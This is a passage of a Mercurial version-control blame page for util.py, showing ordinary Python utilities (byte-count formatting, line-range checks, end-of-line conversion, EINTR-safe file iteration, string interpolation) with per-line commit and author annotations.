43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2715
18735 716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2716 def unitcountfn(*unittable):
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2717 '''return a function that renders a readable count of some quantity'''
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2718
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2719 def go(count):
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2720 for multiplier, divisor, format in unittable:
31946 f3b80537a70d util: fix human-readable printing of negative byte counts G?bor Stefanik <gabor.stefanik@nng.com> parents: 31934 diff changeset	2721 if abs(count) >= divisor * multiplier:
18735 716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2722 return format % (count / float(divisor))
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2723 return unittable[-1][2] % count
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2724
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2725 return go
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2726
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2727
31667 080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2728 def processlinerange(fromline, toline):
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2729 """Check that linerange <fromline>:<toline> makes sense and return a
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2730 0-based range.
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2731
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2732 >>> processlinerange(10, 20)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2733 (9, 20)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2734 >>> processlinerange(2, 1)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2735 Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2736 ...
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2737 ParseError: line range must be positive
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2738 >>> processlinerange(0, 5)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2739 Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2740 ...
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2741 ParseError: fromline must be strictly positive
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2742 """
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2743 if toline - fromline < 0:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2744 raise error.ParseError(_(b"line range must be positive"))
31667 080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2745 if fromline < 1:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2746 raise error.ParseError(_(b"fromline must be strictly positive"))
31667 080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2747 return fromline - 1, toline
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2748
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2749
18735 716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2750 bytecount = unitcountfn(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2751 (100, 1 << 30, _(b'%.0f GB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2752 (10, 1 << 30, _(b'%.1f GB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2753 (1, 1 << 30, _(b'%.2f GB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2754 (100, 1 << 20, _(b'%.0f MB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2755 (10, 1 << 20, _(b'%.1f MB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2756 (1, 1 << 20, _(b'%.2f MB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2757 (100, 1 << 10, _(b'%.0f KB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2758 (10, 1 << 10, _(b'%.1f KB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2759 (1, 1 << 10, _(b'%.2f KB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2760 (1, 1, _(b'%.0f bytes')),
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2761 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2762
16397 f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2763
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2764 class transformingwriter(object):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2765 """Writable file wrapper to transform data by function"""
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2766
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2767 def __init__(self, fp, encode):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2768 self._fp = fp
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2769 self._encode = encode
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2770
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2771 def close(self):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2772 self._fp.close()
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2773
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2774 def flush(self):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2775 self._fp.flush()
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2776
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2777 def write(self, data):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2778 return self._fp.write(self._encode(data))
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2779
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2780
31779 fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2781 # Matches a single EOL which can either be a CRLF where repeated CR
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2782 # are removed or a LF. We do not care about old Macintosh files, so a
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2783 # stray CR is an error.
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2784 _eolre = remod.compile(br'\r*\n')
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2785
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2786
31779 fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2787 def tolf(s):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2788 return _eolre.sub(b'\n', s)
31779 fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2789
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2790
31779 fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2791 def tocrlf(s):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2792 return _eolre.sub(b'\r\n', s)
31779 fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2793
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2794
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2795 def _crlfwriter(fp):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2796 return transformingwriter(fp, tocrlf)
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2797
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2798
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2799 if pycompat.oslinesep == b'\r\n':
31780 6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2800 tonativeeol = tocrlf
6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2801 fromnativeeol = tolf
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2802 nativeeolwriter = _crlfwriter
31780 6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2803 else:
6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2804 tonativeeol = pycompat.identity
6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2805 fromnativeeol = pycompat.identity
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2806 nativeeolwriter = pycompat.identity
31780 6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2807
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2808 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2809 3,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2810 0,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2811 ):
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2812 # There is an issue in CPython that some IO methods do not handle EINTR
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2813 # correctly. The following table shows what CPython version (and functions)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2814 # are affected (buggy: has the EINTR bug, okay: otherwise):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2815 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2816 # \| < 2.7.4 \| 2.7.4 to 2.7.12 \| >= 3.0
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2817 # --------------------------------------------------
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2818 # fp.__iter__ \| buggy \| buggy \| okay
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2819 # fp.read* \| buggy \| okay [1] \| okay
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2820 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2821 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2822 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2823 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2824 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2825 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2826 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2827 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2828 # CPython 2, because CPython 2 maintains an internal readahead buffer for
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2829 # fp.__iter__ but not other fp.read* methods.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2830 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2831 # On modern systems like Linux, the "read" syscall cannot be interrupted
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2832 # when reading "fast" files like on-disk files. So the EINTR issue only
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2833 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2834 # files approximately as "fast" files and use the fast (unsafe) code path,
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2835 # to minimize the performance impact.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2836 if sys.version_info >= (2, 7, 4):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2837 # fp.readline deals with EINTR correctly, use it as a workaround.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2838 def _safeiterfile(fp):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2839 return iter(fp.readline, b'')
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2840
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2841 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2842 # fp.read* are broken too, manually deal with EINTR in a stupid way.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2843 # note: this may block longer than necessary because of bufsize.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2844 def _safeiterfile(fp, bufsize=4096):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2845 fd = fp.fileno()
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2846 line = b''
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2847 while True:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2848 try:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2849 buf = os.read(fd, bufsize)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2850 except OSError as ex:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2851 # os.read only raises EINTR before any data is read
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2852 if ex.errno == errno.EINTR:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2853 continue
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2854 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2855 raise
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2856 line += buf
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2857 if b'\n' in buf:
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2858 splitted = line.splitlines(True)
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2859 line = b''
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2860 for l in splitted:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2861 if l[-1] == b'\n':
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2862 yield l
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2863 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2864 line = l
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2865 if not buf:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2866 break
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2867 if line:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2868 yield line
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2869
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2870 def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2871 fastpath = True
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2872 if type(fp) is file:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2873 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2874 if fastpath:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2875 return fp
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2876 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2877 return _safeiterfile(fp)
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2878
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2879
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2880 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2881 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2882 def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2883 return fp
30405 10514a92860e util: add iterfile to workaround a fileobj.__iter__ issue with EINTR Jun Wu <quark@fb.com> parents: 30369 diff changeset	2884
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2885
7879 5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2886 def iterlines(iterator):
5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2887 for chunk in iterator:
5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2888 for line in chunk.splitlines():
5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2889 yield line
9610 d78fe60f6bda make path expanding more consistent Alexander Solovyov <piranha@piranha.org.ua> parents: 9569 diff changeset	2890
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2891
9610 d78fe60f6bda make path expanding more consistent Alexander Solovyov <piranha@piranha.org.ua> parents: 9569 diff changeset	2892 def expandpath(path):
d78fe60f6bda make path expanding more consistent Alexander Solovyov <piranha@piranha.org.ua> parents: 9569 diff changeset	2893 return os.path.expanduser(os.path.expandvars(path))
10239 8e4be44a676f Find right hg command for detached process Patrick Mezard <pmezard@gmail.com> parents: 10199 diff changeset	2894
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2895
13392 777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2896 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
11988 8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2897 """Return the result of interpolating items in the mapping into string s.
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2898
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2899 prefix is a single character string, or a two character string with
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2900 a backslash as the first character if the prefix needs to be escaped in
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2901 a regular expression.
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2902
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2903 fn is an optional function that will be applied to the replacement text
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2904 just before replacement.
13392 777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2905
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2906 escape_prefix is an optional flag that allows using doubled prefix for
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2907 its escaping.
11988 8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2908 """
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2909 fn = fn or (lambda s: s)
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2910 patterns = b'\|'.join(mapping.keys())
13392 777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2911 if escape_prefix:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2912 patterns += b'\|' + prefix
13392 777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2913 if len(prefix) > 1:
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2914 prefix_char = prefix[1:]
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2915 else:
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2916 prefix_char = prefix
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2917 mapping[prefix_char] = prefix_char
35166 25c543944bc0 py3: add b'' to regular expressions which are raw strings Pulkit Goyal <7895pulkit@gmail.com> parents: 35053 diff changeset	2918 r = remod.compile(br'%s(%s)' % (prefix, patterns))
11988 8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2919 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2920
